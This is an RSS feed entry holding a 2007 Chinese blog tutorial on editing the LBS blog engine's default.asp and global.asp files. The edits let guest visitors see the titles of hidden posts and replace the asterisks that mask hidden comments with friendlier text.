		<comments>http://www.a-boss.com/2007/09/05/lbs%e4%bf%ae%e6%94%b9-%e8%ae%a9%e6%89%80%e6%9c%89%e7%94%a8%e6%88%b7%e6%98%be%e7%a4%ba%e9%9a%90%e8%97%8f%e7%9a%84%e6%96%87%e7%ab%a0%e6%a0%87%e9%a2%98.html#comments</comments>
		<pubDate>Wed, 05 Sep 2007 18:54:05 +0000</pubDate>
		<dc:creator>robay</dc:creator>
				<category><![CDATA[建站笔记]]></category>
		<category><![CDATA[IE]]></category>
		<category><![CDATA[LBS]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[隐藏]]></category>

		<guid isPermaLink="false">http://www.a-boss.com/blog/?p=20</guid>
		<description><![CDATA[文章是从菜青虫那里学来的，对他的帮助表示感谢！原文如下，自己就不再做无用功了。 [lol] [razz] LBS中如果将Guest用户设定成正常浏览权限的话，不但无法阅读隐藏、秘密文章，甚至连个隐藏... ]]></description>
			<content:encoded><![CDATA[<p>文章是从菜青虫那里学来的，对他的帮助表示感谢！原文如下，自己就不再做无用功了。 [lol]  [razz]</p>
<p>LBS中如果将Guest用户设定成正常浏览权限的话，不但无法阅读隐藏、秘密文章，甚至连个隐藏、秘密文章的标题都无法看到，看到的都是***，寡人觉得实在有碍美观，既然有碍观瞻，就修改了他吧！同时我希望让Guest用户也能看到标题，反正，能看到标题不代表能看到全文，呵呵&#8230;花了一点时间研究可一下default页面，这个功能修改出来了，如果有和我一样想法的朋友请依照下面的内容修改就可以了。<br />
在default.asp文件中，在outputNormal(正常浏览模式)函数中找到</p>
<blockquote><p>&lt;%if(!theUser.checkViewPermission(tArticle)){%&gt;<br />
&lt;%=”["+lang["hidden"]+”]”%&gt;<br />
&lt;%}else{%&gt;</p></blockquote>
<p>修改为：</p>
<blockquote><p>&lt;%if(!theUser.checkViewPermission(tArticle)){%&gt;<br />
&lt;%  var strTitle=func.HTMLEncode(tArticle.title); %&gt;<br />
&lt;font color=”#660000&#8243;&gt;&lt;%=strTitle%&gt; &#8211; This is Hidden Article, Please Register&#8230;&lt;/font&gt;<br />
&lt;%}else{%&gt;</p></blockquote>
<p>&lt;%=strTitle%&gt;：就是要显示的网志标题！<br />
This is Hidden Article, Please Register..：是按照自己喜欢添加上去的。<br />
以上是正常显示模式下的，然后修改列表模式下的标题显示&#8230;<br />
在outputList(列表浏览模式)函数中找到</p>
<blockquote><p>&lt;%if(!theUser.checkViewPermission(tArticle)){%&gt;<br />
&lt;%=tArticle.title.replace(/./g,”*”)%&gt;<br />
&lt;%}else{%&gt;</p></blockquote>
<p>修改为：</p>
<blockquote><p>&lt;%if(!theUser.checkViewPermission(tArticle)){%&gt;<br />
&lt;%  var strTitle=func.HTMLEncode(tArticle.title); %&gt;<br />
- &lt;span class=”comment-text”&gt;[&lt;%=theCache.articleMode[tArticle.mode]%&gt;] &lt;%=strTitle%&gt; &#8211; &lt;%=tArticle.title.replace(/./g,”Hidden Article!”).substr(0,15)%&gt;&lt;/span&gt;<br />
&lt;%}else{%&gt;</p></blockquote>
<p>[&lt;%=theCache.articleMode[tArticle.mode]%&gt;]：显示文章秘密、隐藏属性。<br />
&lt;%=strTitle%&gt;：要显示的网志标题。<br />
&lt;%=tArticle.title.replace(/./g,”Hidden Article!”).substr(0,15)%&gt;：在文章后面加上“[]Hidden Article!”字样，数字15最好和添加的字样字符数一样多，数字大了会重复，这句也可以不要。</p>
<p>这样的话，在正常浏览和列表浏览模式中，guest用户也可以看到网志的标题了，至少能吸引一下眼球，呵呵&#8230;</p>
<p>顺便把最Sidebar评论中的隐藏评论“***”也改为美观一点吧，其实这个我早就已经改了！<br />
在global.asp中的panelComment面板代码中找到<br />
&lt;%=content.replace(/./g,”*”).substr(0,24)%&gt;<br />
把”*”用其他的字符代替，显示一大串***，实在难看！<br />
例如：&lt;%=content.replace(/./g,”There is Hidden Comment&#8230;”).substr(0,24)%&gt;<br />
好了，就把所有的***问题都处理完毕了.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.a-boss.com/2007/09/05/lbs%e4%bf%ae%e6%94%b9-%e8%ae%a9%e6%89%80%e6%9c%89%e7%94%a8%e6%88%b7%e6%98%be%e7%a4%ba%e9%9a%90%e8%97%8f%e7%9a%84%e6%96%87%e7%ab%a0%e6%a0%87%e9%a2%98.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

